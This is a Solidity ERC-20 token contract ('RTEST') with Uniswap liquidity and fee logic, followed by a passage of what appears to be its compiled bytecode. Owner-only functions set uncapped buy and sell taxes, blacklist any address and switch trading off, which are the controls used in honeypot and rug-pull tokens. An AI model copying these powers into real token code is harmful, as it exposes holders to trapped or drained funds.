interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RTEST is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "RTEST"; string private constant _symbol = "RTEST"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0x44393FA75f48F5A18dd5cb8C311a703feCDA56D9); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function EnableTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f9a55c01461053857806394ceecef14610563576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061054d610f9d565b60405161055a91906136e8565b60405180910390f35b34801561056f57600080fd5b5061058a60048036038101906105859190613065565b610fa3565b005b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600581526020017f5254455354000000000000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b610fab611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc9610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101690613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b60606040518060400160405280600581526020017f5254455354000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb5